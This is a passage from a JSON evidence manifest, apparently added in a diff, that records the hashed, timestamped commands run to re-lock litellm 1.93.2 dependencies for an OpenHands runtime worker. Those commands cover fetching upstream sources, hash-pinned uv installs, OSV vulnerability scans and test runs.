} + }, + { + "id": "litellm-primary-release", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://api.github.com/repos/BerriAI/litellm/releases/tags/v1.93.2" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:33.183841+00:00", + "ended_utc": "2026-09-30T21:41:33.407102+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-release.stdout.txt", + "bytes": 3276, + "sha256": "a97cad1854a7b10c79a2999cd4d075da68ed9d216fbfd62d26799ef336b55f84" + }, + "stderr": { + "file": "litellm-primary-release.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-backport", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://api.github.com/repos/BerriAI/litellm/pulls/36318" + ], + "cwd": "", + "started_utc": "2026-09-30T21:41:33.623850+00:00", + "ended_utc": "2026-09-30T21:41:33.937025+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-backport.stdout.txt", + "bytes": 25369, + "sha256": "eb569433c26075bb360b2259f707b58959558068642c72bc5c581050dd4cf215" + }, + "stderr": { + "file": "litellm-primary-backport.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-candidate-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:42:21.810146+00:00", + "ended_utc": "2026-09-30T21:42:22.027632+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-candidate-compile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-candidate-compile.stderr.txt", + "bytes": 31, + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt", + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "fresh-venv", + "argv": [ + "rtk", + "proxy", + "uv", + "venv", + "--python", + "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", + "--no-python-downloads", + "/venv" + ], + "cwd": "", + "started_utc": "2026-09-30T21:42:57.078869+00:00", + "ended_utc": "2026-09-30T21:42:57.113968+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "fresh-venv.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "fresh-venv.stderr.txt", + "bytes": 267, + "sha256": "79005560da00d0dabbef95b9c6bdb30f8379deff9c6e8722bb3817284e88dcbd" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt", + "sha256": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "bytes": 232, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "build-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--only-binary", + ":all:", + "--index-url", + "https://pypi.org/simple", + "-r", + "/blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:43:14.144646+00:00", + "ended_utc": "2026-09-30T21:43:14.359573+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "build-hash-install.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "build-hash-install.stderr.txt", + "bytes": 191, + "sha256": "14dc7f75c7f437a52d1d04e7de30987fdb082046ab55443731771badc2d52d17" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt", + "sha256": "667ac8b6b61cacb3f7b70aeebf1132d6f42c01b490a321e1c98ee89b651c8a69", + "bytes": 176, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "candidate-osv-current-config", + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T21:43:14.593905+00:00", + "ended_utc": "2026-09-30T21:43:15.220112+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "candidate-osv-current-config.stdout.txt", + "bytes": 124, + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e" + }, + "stderr": { + "file": "candidate-osv-current-config.stderr.txt", + "bytes": 3662, + "sha256": "b30fc0165e768f434a18243291b4698f593854df0b51f8bb3ed90d3084f4dc23" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt", + "sha256": "35d74b0c8ef3cf64d2e349348d53bb5909907c1d1cc4d7996930118bdae5d31d", + "bytes": 3632, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "candidate-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/candidate.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T21:43:14.593905+00:00", + "ended_utc": "2026-09-30T21:43:15.280399+00:00", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "candidate-osv-empty-config.stdout.txt", + "bytes": 19985, + "sha256": "3db50408892f99cfef9db5bb013bc8acb3fda095f41aef9e276dc123317ff202" + }, + "stderr": { + "file": "candidate-osv-empty-config.stderr.txt", + "bytes": 228, + "sha256": "d430e778c59ba2a460ff370879983307d9b5ed978e3fcc1150acb27d6272a3de" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt", + "sha256": "08bfcde0bd82cb1139676b96fbdd495ba84bcb5e0878999577290f4f2f8f3536", + "bytes": 213, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-cutoff-maintainer-source", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://raw.githubusercontent.com/OpenHands/software-agent-sdk/395b94b0c3c4994f6c530f1e3bf3196f71fab950/pyproject.toml" + ], + "cwd": "", + "started_utc": "2026-09-30T21:43:15.502588+00:00", + "ended_utc": "2026-09-30T21:43:15.647660+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-cutoff-maintainer-source.stdout.txt", + "bytes": 3850, + "sha256": "6ddf2465f2b0a7dc927af912709606337c798f56023ce10ca63ad0897572661b" + }, + "stderr": { + "file": "litellm-cutoff-maintainer-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "runtime-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--no-build-isolation", + "--index-url", + "https://pypi.org/simple", + "-r", + "/candidate.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:43:34.572603+00:00", + "ended_utc": "2026-09-30T21:43:36.957967+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "runtime-hash-install.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "runtime-hash-install.stderr.txt", + "bytes": 4533, + "sha256": "793f4227046b9c213906d7bdc7ca3b4aea49d08131767b53ecec12a6b56559e8" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt", + "sha256": "6dd5d8d9dac64dd1c3b67c010184f47057ec47086b69b4fcc191ddd31365c55a", + "bytes": 4518, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "maintained-jwt-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T21:45:06.222529+00:00", + "ended_utc": "2026-09-30T21:45:14.142706+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "maintained-jwt-callers.stdout.txt", + "bytes": 2926, + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065" + }, + "stderr": { + "file": "maintained-jwt-callers.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt", + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-pip-check", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T21:45:06.222573+00:00", + "ended_utc": "2026-09-30T21:45:06.278036+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-pip-check.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-pip-check.stderr.txt", + "bytes": 142, + "sha256": "714b6e1f9d1a1fe1100b4ae6e3e64cfcbabbdb1ed96fba6010fd845fb4868993" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt", + "sha256": "94b6dcbed09c7f53f08e003dbf72ddb250182edce8a877cb33af39ee798d18f2", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "oauthlib-alias-callers", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T21:45:06.224533+00:00", + "ended_utc": "2026-09-30T21:45:32.405231+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "oauthlib-alias-callers.stdout.txt", + "bytes": 37078, + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813" + }, + "stderr": { + "file": "oauthlib-alias-callers.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt", + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "sdk-fixtures", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-B", + "-m", + "unittest", + "tests.test_openhands_150", + "-v" + ], + "cwd": "", + "started_utc": "2026-09-30T21:45:06.225670+00:00", + "ended_utc": "2026-09-30T21:45:13.321174+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "sdk-fixtures.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "sdk-fixtures.stderr.txt", + "bytes": 2962, + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt", + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5", + "bytes": 2962, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-candidate-sdist-download", + "argv": [ + "rtk", + "proxy", + "python3", + "/download-source.py", + "litellm-1.93.2.tar.gz", + "https://files.pythonhosted.org/packages/97/dd/28024c0e4cf2dc6ab1bad59b8357af7f460e952c69526eae28f12ac4ee5e/litellm-1.93.2.tar.gz", + "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd" + ], + "cwd": "", + "started_utc": "2026-09-30T21:45:07.561428+00:00", + "ended_utc": "2026-09-30T21:45:08.247603+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-candidate-sdist-download.stdout.txt", + "bytes": 175, + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321" + }, + "stderr": { + "file": "litellm-candidate-sdist-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt", + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-baseline-sdist-download", + "argv": [ + "rtk", + "proxy", + "python3", + "/download-source.py", + "litellm-1.93.0.tar.gz", + "https://files.pythonhosted.org/packages/93/e1/4f05ca4cbb4efb739c9e66a182ecd5c816bc05bf3665ec8e0fb4ab408379/litellm-1.93.0.tar.gz", + "140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec" + ], + "cwd": "", + "started_utc": "2026-09-30T21:46:43.876574+00:00", + "ended_utc": "2026-09-30T21:46:44.343929+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-baseline-sdist-download.stdout.txt", + "bytes": 175, + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988" + }, + "stderr": { + "file": "litellm-baseline-sdist-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt", + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-candidate-no-config-recompile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--no-config", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate-no-config.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:46:43.876587+00:00", + "ended_utc": "2026-09-30T21:46:43.933613+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-candidate-no-config-recompile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-candidate-no-config-recompile.stderr.txt", + "bytes": 30, + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt", + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747", + "bytes": 30, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-candidate-wheel-download", + "argv": [ + "rtk", + "proxy", + "python3", + "/download-source.py", + "litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl", + "https://files.pythonhosted.org/packages/98/60/cb326e1094f7042f28f9e21543d9f367a8aa25af6915bf4253b77da5c2a2/litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl", + "dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692" + ], + "cwd": "", + "started_utc": "2026-09-30T21:46:43.876589+00:00", + "ended_utc": "2026-09-30T21:46:44.295860+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-candidate-wheel-download.stdout.txt", + "bytes": 206, + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38" + }, + "stderr": { + "file": "litellm-candidate-wheel-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt", + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "pytest-qualification-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--constraints", + "/constraints.txt", + "--exclude-newer", + "7 days", + "--only-binary", + ":all:", + "pytest==8.4.2", + "--index-url", + "https://pypi.org/simple", + "--no-config" + ], + "cwd": "", + "started_utc": "2026-09-30T21:47:20.946530+00:00", + "ended_utc": "2026-09-30T21:47:21.087894+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "pytest-qualification-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "pytest-qualification-tools.stderr.txt", + "bytes": 187, + "sha256": "d5b87cbaef0fbb0f48003f8676670e4ef72a7b1cd64add6ed41271fd2d522a29" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt", + "sha256": "c30218aa1df2e8325dfac41e3314a642598d698a997cc01b9ab6ac66f694e66b", + "bytes": 172, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-upstream-url-tests-source", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://raw.githubusercontent.com/BerriAI/litellm/cd1bd0f4b8af865f8d05fbd938392fdd4703babc/tests/test_litellm/litellm_core_utils/test_url_utils.py" + ], + "cwd": "", + "started_utc": "2026-09-30T21:47:21.338985+00:00", + "ended_utc": "2026-09-30T21:47:21.487480+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-upstream-url-tests-source.stdout.txt", + "bytes": 21000, + "sha256": "f8bffa71eab0df126893c63a6dc0ee187d0b14ca53baf4c1ae165bef69fd9973" + }, + "stderr": { + "file": "litellm-upstream-url-tests-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-upstream-test-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--constraints", + "/constraints.txt", + "--exclude-newer", + "7 days", + "--only-binary", + ":all:", + "pytest==9.0.3", + "pytest-asyncio==1.3.0", + "--index-url", + "https://pypi.org/simple", + "--no-config" + ], + "cwd": "", + "started_utc": "2026-09-30T21:48:47.881400+00:00", + "ended_utc": "2026-09-30T21:48:48.028213+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-upstream-test-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-upstream-test-tools.stderr.txt", + "bytes": 221, + "sha256": "c82ea9e1006a88b443c01c15185683e44553117f2ea6216b08605e80b8c02bde" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt", + "sha256": "32207d0e41826374f93e7912571a45efda0fb1a28f98e3fa3aa36a53da874b9d", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-upstream-test-config-source", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import sys,urllib.request; sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1]).read())", + "https://raw.githubusercontent.com/BerriAI/litellm/cd1bd0f4b8af865f8d05fbd938392fdd4703babc/pyproject.toml" + ], + "cwd": "", + "started_utc": "2026-09-30T21:48:48.255000+00:00", + "ended_utc": "2026-09-30T21:48:48.431653+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-upstream-test-config-source.stdout.txt", + "bytes": 11304, + "sha256": "71d153eb3fb27613f6b7177924a703bc5b50d2ee4523df3bf2dc5949e9908217" + }, + "stderr": { + "file": "litellm-upstream-test-config-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "upstream_source_response", + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "exact-runtime-and-source-identities", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/verify.py", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T21:49:25.343682+00:00", + "ended_utc": "2026-09-30T21:49:39.232421+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "exact-runtime-and-source-identities.stdout.txt", + "bytes": 3168, + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d" + }, + "stderr": { + "file": "exact-runtime-and-source-identities.stderr.txt", + "bytes": 658, + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt", + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d", + "bytes": 3168, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt", + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "bytes": 658, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "unchanged-upstream-url-tests", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-B", + "/run-upstream-url-tests.py" + ], + "cwd": "", + "started_utc": "2026-09-30T21:49:26.731763+00:00", + "ended_utc": "2026-09-30T21:49:31.652422+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "unchanged-upstream-url-tests.stdout.txt", + "bytes": 7610, + "sha256": "f1c111c81de875f753d4175ad1db81c1e356d2bdec578dfae966760e798615c0" + }, + "stderr": { + "file": "unchanged-upstream-url-tests.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "bounded_upstream_module_run", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt", + "sha256": "0704464298af960099ab7677cec20c3f8be9b9c40fe9942e05062c9ec356cb79", + "bytes": 7535, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-pip-check-after-test-tools", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T21:49:27.943283+00:00", + "ended_utc": "2026-09-30T21:49:27.978012+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-pip-check-after-test-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-pip-check-after-test-tools.stderr.txt", + "bytes": 142, + "sha256": "bcd3304a2098aa514059b07b6469fccc1221d0c0311dc653756fa1faa4e87282" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt", + "sha256": "2919b108fe00735e79cd413a063e8699103a744b3765f4b963c1ad6f42a7f941", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "native-recipe-lock-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--no-config", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + 